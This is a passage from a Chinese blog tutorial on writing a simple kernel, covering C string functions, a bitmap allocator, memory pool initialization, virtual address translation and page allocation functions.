class="keyword">char</span>*)last_char;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 将字符串src_拼接到dst_后,将回拼接的串地址 */</span></span><br><span class="line"><span class="function"><span class="keyword">char</span>* <span class="title">strcat</span><span class="params">(<span class="keyword">char</span>* dst_, <span class="keyword">const</span> <span class="keyword">char</span>* src_)</span> </span>&#123;</span><br><span class="line">    ASSERT(dst_ != <span class="literal">NULL</span> &amp;&amp; src_ != <span class="literal">NULL</span>);</span><br><span class="line">    <span class="keyword">char</span>* str = dst_;</span><br><span class="line">    <span class="keyword">while</span> (*str++);</span><br><span class="line">    --str;      <span class="comment">// 别看错了，--str是独立的一句，并不是while的循环体</span></span><br><span class="line">    <span class="keyword">while</span>((*str++ = *src_++)); <span class="comment">// 当*str被赋值为0时,此时表达式不成立,正好添加了字符串结尾的0.</span></span><br><span class="line">    <span class="keyword">return</span> dst_;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 在字符串str中查找指定字符ch出现的次数 */</span></span><br><span class="line"><span class="keyword">uint32_t</span> strchrs(<span class="keyword">const</span> <span class="keyword">char</span>* str, <span class="keyword">uint8_t</span> ch) &#123;</span><br><span class="line">ASSERT(str != <span class="literal">NULL</span>);</span><br><span class="line"><span class="keyword">uint32_t</span> ch_cnt = <span class="number">0</span>;</span><br><span class="line"><span class="keyword">const</span> <span class="keyword">char</span>* p = str;</span><br><span class="line"><span class="keyword">while</span>(*p != <span class="number">0</span>) &#123;</span><br><span class="line"><span class="keyword">if</span> (*p == ch) &#123;</span><br><span class="line">ch_cnt++;</span><br><span class="line">    &#125;</span><br><span class="line">p++;</span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">return</span> ch_cnt;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="BITMAP实现"><a href="#BITMAP实现" class="headerlink" title="BITMAP实现"></a>BITMAP实现</h2><p>位图用于实现资源管理，相当于一张表，表中为1表示占用，为0表示空闲，之后我们将其用来管理内存，我们在前面的基础之上实现BITMAP，在<code>lib/kernel</code>目录下新增<code>bitmap.h</code>与<code>bitmap.c</code>，代码如下，bitmap结构比较简单，只有两个成员：指针<strong>bits</strong>和位图的字节长度<strong>btmp_bytes_len</strong></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">ifndef</span> __LIB_KERNEL_BITMAP_H</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> __LIB_KERNEL_BITMAP_H</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"global.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> BITMAP_MASK 1</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">bitmap</span> &#123;</span></span><br><span class="line">   <span class="keyword">uint32_t</span> btmp_bytes_len;</span><br><span class="line"><span class="comment">/* 在遍历位图时,整体上以字节为单位,细节上是以位为单位,所以此处位图的指针必须是单字节 */</span></span><br><span class="line">   <span class="keyword">uint8_t</span>* bits;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">bitmap_init</span><span class="params">(struct bitmap* btmp)</span></span>;</span><br><span class="line"><span class="function"><span class="keyword">bool</span> <span class="title">bitmap_scan_test</span><span class="params">(struct bitmap* btmp, <span class="keyword">uint32_t</span> bit_idx)</span></span>;</span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">bitmap_scan</span><span class="params">(struct bitmap* btmp, <span class="keyword">uint32_t</span> cnt)</span></span>;</span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">bitmap_set</span><span class="params">(struct bitmap* btmp, <span class="keyword">uint32_t</span> bit_idx, <span class="keyword">int8_t</span> value)</span></span>;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br></pre></td></tr></table></figure><p>下面的一些函数主要是对位图的一些操作函数，还是比较容易看懂的，其中较为核心的函数是<code>bitmap_scan</code></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"bitmap.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"stdint.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"string.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"print.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"interrupt.h"</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span> <span class="meta-string">"debug.h"</span></span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 将位图btmp初始化 */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">bitmap_init</span><span class="params">(struct bitmap* btmp)</span> </span>&#123;</span><br><span class="line">   <span class="built_in">memset</span>(btmp-&gt;bits, <span class="number">0</span>, btmp-&gt;btmp_bytes_len);   </span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 判断bit_idx位是否为1,若为1则返回true，否则返回false */</span></span><br><span class="line"><span class="function"><span class="keyword">bool</span> <span class="title">bitmap_scan_test</span><span class="params">(struct bitmap* btmp, <span class="keyword">uint32_t</span> bit_idx)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">uint32_t</span> byte_idx = bit_idx / <span class="number">8</span>;    <span class="comment">// 向下取整用于索引数组下标</span></span><br><span class="line">   <span class="keyword">uint32_t</span> bit_odd  = bit_idx % <span class="number">8</span>;    <span class="comment">// 取余用于索引数组内的位</span></span><br><span class="line">   <span class="keyword">return</span> (btmp-&gt;bits[byte_idx] &amp; (BITMAP_MASK &lt;&lt; bit_odd));</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 在位图中申请连续cnt个位,成功则返回其起始位下标，失败返回-1 */</span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">bitmap_scan</span><span class="params">(struct bitmap* btmp, <span class="keyword">uint32_t</span> cnt)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">uint32_t</span> idx_byte = <span class="number">0</span>; <span class="comment">// 用于记录空闲位所在的字节</span></span><br><span class="line"><span class="comment">/* 先逐字节比较,蛮力法 */</span></span><br><span class="line">   <span class="keyword">while</span> (( <span class="number">0xff</span> == btmp-&gt;bits[idx_byte]) &amp;&amp; (idx_byte &lt; btmp-&gt;btmp_bytes_len)) &#123;</span><br><span class="line"><span class="comment">/* 1表示该位已分配,所以若为0xff,则表示该字节内已无空闲位,向下一字节继续找 */</span></span><br><span class="line">      idx_byte++;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   ASSERT(idx_byte &lt; btmp-&gt;btmp_bytes_len);</span><br><span class="line">   <span class="keyword">if</span> (idx_byte == btmp-&gt;btmp_bytes_len) &#123;  <span class="comment">// 若该内存池找不到可用空间</span></span><br><span class="line">      <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line"> <span class="comment">/* 若在位图数组范围内的某字节内找到了空闲位，</span></span><br><span class="line"><span class="comment">  * 在该字节内逐位比对,返回空闲位的索引。*/</span></span><br><span class="line">   <span class="keyword">int</span> idx_bit = <span class="number">0</span>;</span><br><span class="line"> <span class="comment">/* 和btmp-&gt;bits[idx_byte]这个字节逐位对比 */</span></span><br><span class="line">   <span class="keyword">while</span> ((<span class="keyword">uint8_t</span>)(BITMAP_MASK &lt;&lt; idx_bit) &amp; btmp-&gt;bits[idx_byte]) &#123; </span><br><span class="line"> idx_bit++;</span><br><span class="line">   &#125;</span><br><span class="line"> </span><br><span class="line">   <span class="keyword">int</span> bit_idx_start = idx_byte * <span class="number">8</span> + idx_bit;    <span class="comment">// 空闲位在位图内的下标</span></span><br><span class="line">   <span class="keyword">if</span> (cnt == <span class="number">1</span>) &#123;</span><br><span class="line">      <span class="keyword">return</span> bit_idx_start;</span><br><span class="line">   &#125;</span><br><span class="line"></span><br><span class="line">   <span class="keyword">uint32_t</span> bit_left = (btmp-&gt;btmp_bytes_len * <span class="number">8</span> - bit_idx_start);   <span class="comment">// 记录还有多少位可以判断</span></span><br><span class="line">   <span class="keyword">uint32_t</span> next_bit = bit_idx_start + <span class="number">1</span>;</span><br><span class="line">   <span class="keyword">uint32_t</span> count = <span class="number">1</span>;      <span class="comment">// 用于记录找到的空闲位的个数</span></span><br><span class="line"></span><br><span class="line">   bit_idx_start = <span class="number">-1</span>;      <span class="comment">// 先将其置为-1,若找不到连续的位就直接返回</span></span><br><span class="line">   <span class="keyword">while</span> (bit_left-- &gt; <span class="number">0</span>) &#123;</span><br><span class="line">      <span class="keyword">if</span> (!(bitmap_scan_test(btmp, next_bit))) &#123; <span class="comment">// 若next_bit为0</span></span><br><span class="line"> count++;</span><br><span class="line">      &#125; <span class="keyword">else</span> &#123;</span><br><span class="line"> count = <span class="number">0</span>;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">if</span> (count == cnt) &#123;    <span class="comment">// 若找到连续的cnt个空位</span></span><br><span class="line"> bit_idx_start = next_bit - cnt + <span class="number">1</span>;</span><br><span class="line"> <span class="keyword">break</span>;</span><br><span class="line">      &#125;</span><br><span class="line">      next_bit++;          </span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">return</span> bit_idx_start;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 将位图btmp的bit_idx位设置为value */</span></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">bitmap_set</span><span class="params">(struct bitmap* btmp, <span class="keyword">uint32_t</span> bit_idx, <span class="keyword">int8_t</span> value)</span> </span>&#123;</span><br><span class="line">   ASSERT((value == <span class="number">0</span>) || (value == <span class="number">1</span>));</span><br><span class="line">   <span class="keyword">uint32_t</span> byte_idx = bit_idx / <span class="number">8</span>;    <span class="comment">// 向下取整用于索引数组下标</span></span><br><span class="line">   <span class="keyword">uint32_t</span> bit_odd  = bit_idx % <span class="number">8</span>;    <span class="comment">// 取余用于索引数组内的位</span></span><br><span class="line"></span><br><span class="line"><span class="comment">/* 一般都会用个0x1这样的数对字节中的位操作,</span></span><br><span class="line"><span class="comment"> * 将1任意移动后再取反,或者先取反再移位,可用来对位置0操作。*/</span></span><br><span class="line">   <span class="keyword">if</span> (value) &#123;      <span class="comment">// 如果value为1</span></span><br><span class="line">      btmp-&gt;bits[byte_idx] |= (BITMAP_MASK &lt;&lt; bit_odd);</span><br><span class="line">   &#125; <span class="keyword">else</span> &#123;      <span class="comment">// 若为0</span></span><br><span class="line">      btmp-&gt;bits[byte_idx] &amp;= ~(BITMAP_MASK &lt;&lt; bit_odd);</span><br><span class="line">   &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="内存管理"><a href="#内存管理" class="headerlink" title="内存管理"></a>内存管理</h2><p>根据之前的铺垫，为了实现内存中用户和内核的区分，我们用位图实现对内存使用情况的记录，我们将物理内存划分为用户内存池和内核内存池，一页为4KB大小。</p><p>内核在申请空间的时候，先从内核自己的虚拟地址池中分配好虚拟地址再从内核物理地址池中分配物理内存，最后在内核自己的页表中将这两种地址建立好映射关系，内存就分配完成。</p><p>对用户进程来说，它向操作系统申请内存时，操作系统先从用户进程自己的虚拟地址分配虚拟地址，在从用户物理内存池中分配空闲的物理内存，用户物理内存池是被所有用户进程所共享的。最后在用户进程自己的页表中将这两种地址建立好映射关系。</p><p><img src="/2020/05/10/简单内核实现笔记-part-2/64.png" alt="image-20200526104424200"></p><p>实现在kernel目录下新建<code>memory.c</code>和<code>memory.h</code>，虚拟内存池结构和物理内存池结构如下，物理内存多了一个记录大小的pool_size，因为虚拟地址是连续的4GB空间，相对而言空间非常大，而物理地址是有限的，所以不存在对虚拟地址大小的记录。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">virtual_addr</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">bitmap</span> <span class="title">vaddr_bitmap</span>;</span></span><br><span class="line">    <span class="keyword">uint32_t</span> vaddr_start;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">pool</span></span></span><br><span class="line"><span class="class">&#123;</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">bitmap</span> <span class="title">pool_bitmap</span>;</span>  <span class="comment">// 内存池的位图结构</span></span><br><span class="line">    <span class="keyword">uint32_t</span> phy_addr_start; </span><br><span class="line">    <span class="keyword">uint32_t</span> pool_size;         </span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">pool</span> <span class="title">kernel_pool</span>, <span class="title">user_pool</span>;</span> <span class="comment">// 生成内核内存池和用户内存池</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">virtual_addr</span> <span class="title">kernel_vaddr</span>;</span>   <span class="comment">// 此结构用来给内核分配虚拟地址</span></span><br></pre></td></tr></table></figure><p>在前面创建页目录和页表的时候，我们将虚拟地址 <code>0xc0000000~0xc00fffff</code> 映射到了物理地址 <code>0x0~0xfffff</code>，0xc0000000 是内核空间的起始虚拟地址，这 1MB 空间做的对等映射。为了看起来使内存连续，所以这里内核堆空间的开始地址从 0xc0100000 开始，在之前的设计中，0xc009f000 为内核主线程的栈顶，0xc009e000 将作为主线程的 PCB 使用，那么在低端1MB的空间中，就只剩下<code>0xc009a000~0xc009dfff</code>这<code>4 * 4KB</code>的空间未使用，所以位图的地址就安排在 0xc009a000 处，这里还剩下四个页框的大小，所能表示的内存大小为512MB</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> MEM_BITMAP_BASE 0xc009a000</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> K_HEAP_START 0xc0100000</span></span><br></pre></td></tr></table></figure><p>关键初始化函数如下，主要实现对内核池与用户池在物理内存中的平均分配</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 初始化内存池</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> <span class="title">mem_pool_init</span><span class="params">(<span class="keyword">uint32_t</span> all_mem)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    put_str(<span class="string">"   mem_pool_init start\n"</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 目前只初始化了低端1MB的内存页表，也就是256个页表</span></span><br><span class="line">    <span class="keyword">uint32_t</span> page_table_size = PG_SIZE * <span class="number">256</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">uint32_t</span> used_mem = page_table_size + <span class="number">0x100000</span>;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">uint32_t</span> free_mem = all_mem - used_mem;</span><br><span class="line">    <span class="keyword">uint16_t</span> all_free_pages = free_mem / PG_SIZE;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">uint16_t</span> kernel_free_pages = all_free_pages / <span class="number">2</span>;</span><br><span class="line">    <span class="keyword">uint16_t</span> user_free_pages = all_free_pages - kernel_free_pages;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 内核的位图大小，在位图中，1bit表示1页</span></span><br><span class="line">    <span class="keyword">uint32_t</span> kbm_length = kernel_free_pages / <span class="number">8</span>;</span><br><span class="line">    <span class="keyword">uint32_t</span> ubm_length = user_free_pages / <span class="number">8</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 内核内存池的起始地址</span></span><br><span class="line">    <span class="keyword">uint32_t</span> kp_start = used_mem;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 用户内存池的起始地址</span></span><br><span class="line">    <span class="keyword">uint32_t</span> up_start = kp_start + kernel_free_pages * PG_SIZE;</span><br><span class="line"></span><br><span class="line">    kernel_pool.phy_addr_start = kp_start;</span><br><span class="line">    user_pool.phy_addr_start = up_start;</span><br><span class="line"></span><br><span class="line">    kernel_pool.pool_size = kernel_free_pages * PG_SIZE;</span><br><span class="line">    user_pool.pool_size = user_free_pages * PG_SIZE;</span><br><span class="line"></span><br><span class="line">    kernel_pool.pool_bitmap.btmp_bytes_len = kbm_length;</span><br><span class="line">    user_pool.pool_bitmap.btmp_bytes_len = ubm_length;</span><br><span class="line"></span><br><span class="line">    kernel_pool.pool_bitmap.bits = (<span class="keyword">void</span>*)MEM_BITMAP_BASE;</span><br><span class="line">    user_pool.pool_bitmap.bits = (<span class="keyword">void</span>*)(MEM_BITMAP_BASE + kbm_length);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 输出内存信息</span></span><br><span class="line">    put_str(<span class="string">"      kernel_pool_bitmap_start:"</span>);</span><br><span class="line">    put_int((<span class="keyword">int</span>)kernel_pool.pool_bitmap.bits);</span><br><span class="line">    put_str(<span class="string">" kernel_pool_phy_addr_start:"</span>);</span><br><span class="line">    put_int(kernel_pool.phy_addr_start);</span><br><span class="line">    put_str(<span class="string">"\n"</span>);</span><br><span class="line">    put_str(<span class="string">"      user_pool_bitmap_start:"</span>);</span><br><span class="line">    put_int((<span class="keyword">int</span>)user_pool.pool_bitmap.bits);</span><br><span class="line">    put_str(<span class="string">" user_pool_phy_addr_start:"</span>);</span><br><span class="line">    put_int(user_pool.phy_addr_start);</span><br><span class="line">    put_str(<span class="string">"\n"</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 将位图置0</span></span><br><span class="line">    bitmap_init(&amp;kernel_pool.pool_bitmap);</span><br><span class="line">    bitmap_init(&amp;user_pool.pool_bitmap);</span><br><span class="line"></span><br><span class="line">    kernel_vaddr.vaddr_bitmap.btmp_bytes_len = kbm_length;</span><br><span class="line">    kernel_vaddr.vaddr_bitmap.bits = (<span class="keyword">void</span>*)(MEM_BITMAP_BASE + kbm_length + ubm_length);</span><br><span class="line"></span><br><span class="line">    kernel_vaddr.vaddr_start = K_HEAP_START;</span><br><span class="line">    bitmap_init(&amp;kernel_vaddr.vaddr_bitmap);</span><br><span class="line">    put_str(<span class="string">"   mem_pool_init done\n"</span>);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">void</span> <span class="title">mem_init</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    put_str(<span class="string">"mem_init start\n"</span>);</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 物理内存的大小放在地址0xb00处</span></span><br><span class="line">    <span class="keyword">uint32_t</span> mem_bytes_total = *((<span class="keyword">uint32_t</span>*)<span class="number">0xb00</span>);</span><br><span class="line"></span><br><span class="line">    mem_pool_init(mem_bytes_total);</span><br><span class="line"></span><br><span class="line">    put_str(<span class="string">"mem_init done\n"</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>写入makefile文件，编译运行效果如下，我们还没有实现对任意内存申请的函数，这里只是先将内存池进行了初始化，内核物理内存池所用的位图地址在0xc009a000，内存池中第一块物理页地址是0x200000</p><p><img src="/2020/05/10/简单内核实现笔记-part-2/65.png" alt="image-20200526104424200"></p><p>接下来就是实现对内存的分配，首先复习一下32位虚拟地址的转换过程：</p><ol><li>高 10 位是页目录项 pde 的索引，用于在页目录表中定位 pde ，细节是处理器获取高 10 位后自动将其乘以 4，再加上页目录表的物理地址，这样便得到了 pde 索引对应的 pde 所在的物理地址，然后自动在该物理地址中，即该 pde 中，获取保存的页表物理地址。</li><li>中间 10 位是页表项 pte 索引，用于在页表中定位 pte 。细节是处理器获取中间 10 位后自动将其乘以 4，再加上第一步中得到的页表的物理地址，这样便得到了 pte 索引对应的 pte 所在的物理地址，然后自动在该物理地址 (该 pte) 中获取保存的普通物理页的物理地址。</li><li>低 12 位是物理页内的偏移 ，页大小是 4KB, 12 位可寻址的范围正好是 4KB，因此处理器便直接把低 12 位作为第二步中获取的物理页的偏移量，无需乘以 4。用物理页的物理地址加上这低 12 位的和便是这 32 位虚拟地址最终落向的物理地址。</li></ol><p>比如访问虚拟地址<code>0x00c03123</code>，拆分步骤如下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">0x00c03123 =&gt; 16进制</span><br><span class="line">0000 0000 1100 0000 0011 0001 0010 0011 =&gt; 2进制</span><br><span class="line">0000000011 0000000011 000100100011      =&gt; 重新组合为 10+10+12</span><br><span class="line">pde 3      pte 3      偏移 123</span><br></pre></td></tr></table></figure><p>整个过程如下图所示</p><p><img src="/2020/05/10/简单内核实现笔记-part-2/66.png" alt="image-20200526104424200"></p><p>32位地址在上面转换之后则落向物理地址，内存分配的过程：</p><ol><li>在虚拟内存池中申请n个虚拟页</li><li>在物理内存池中分配物理页</li><li>在页表中添加虚拟地址与物理地址的映射关系</li></ol><p>接下来就是一步一步在<code>memory</code>文件中增加函数</p><p><strong>在虚拟内存池中申请n个虚拟页</strong></p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 在pf表示的虚拟内存池中申请pg_cnt个虚拟页,</span></span><br><span class="line"><span class="comment"> * 成功则返回虚拟页的起始地址, 失败则返回NULL */</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span>* <span class="title">vaddr_get</span><span class="params">(<span class="keyword">enum</span> pool_flags pf, <span class="keyword">uint32_t</span> pg_cnt)</span> </span>&#123;</span><br><span class="line">   <span class="keyword">int</span> vaddr_start = <span class="number">0</span>, bit_idx_start = <span class="number">-1</span>;</span><br><span class="line">   <span class="keyword">uint32_t</span> cnt = <span class="number">0</span>;</span><br><span class="line">   <span class="keyword">if</span> (pf == PF_KERNEL) &#123; <span class="comment">//若为内核内存池</span></span><br><span class="line">      bit_idx_start  = bitmap_scan(&amp;kernel_vaddr.vaddr_bitmap, pg_cnt); <span class="comment">// 扫描虚拟地址池</span></span><br><span class="line">      <span class="keyword">if</span> (bit_idx_start == <span class="number">-1</span>) &#123; <span class="comment">// 返回-1则退出</span></span><br><span class="line"> <span class="keyword">return</span> <span class="literal">NULL</span>;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">while</span>(cnt &lt; pg_cnt) &#123;</span><br><span class="line"> bitmap_set(&amp;kernel_vaddr.vaddr_bitmap, bit_idx_start + cnt++, <span class="number">1</span>); <span class="comment">// 循环逐位置一</span></span><br><span class="line">      &#125;</span><br><span class="line">      vaddr_start = kernel_vaddr.vaddr_start + bit_idx_start * PG_SIZE; <span class="comment">// 将bit_idx_start转换为虚拟地址</span></span><br><span class="line">   &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">   <span class="comment">// 用户内存池,将来实现用户进程再补充</span></span><br><span class="line">   &#125;</span><br><span class="line">   <span class="keyword">return</span> (<span class="keyword">void</span>*)vaddr_start; <span class="comment">// 返回指针</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>在物理内存池中分配物理页</strong></p><p>这个函数比较关键，主要是对位图的扫描和记录，然后根据位图索引返回分配的物理地址</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 在m_pool指向的物理内存池中分配一个物理页</span></span><br><span class="line"><span class="function"><span class="keyword">static</span> <span class="keyword">void</span> *<span class="title">palloc</span><span class="params">(struct pool *m_pool)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    <span class="keyword">int</span> bit_idx = bitmap_scan(&amp;m_pool-&gt;pool_bitmap, <span class="number">1</span>);</span><br><span class="line">    <span class="keyword">if</span>(bit_idx == <span class="number">-1</span>)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">NULL</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    bitmap_set(&amp;m_pool-&gt;pool_bitmap, bit_idx, <span class="number">1</span>);</span><br><span class="line">    <span class="keyword">uint32_t</span> page_phyaddr = bit_idx * PG_SIZE + m_pool-&gt;phy_addr_start;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> (<span class="keyword">void</span>*)page_phyaddr;</span><br><span 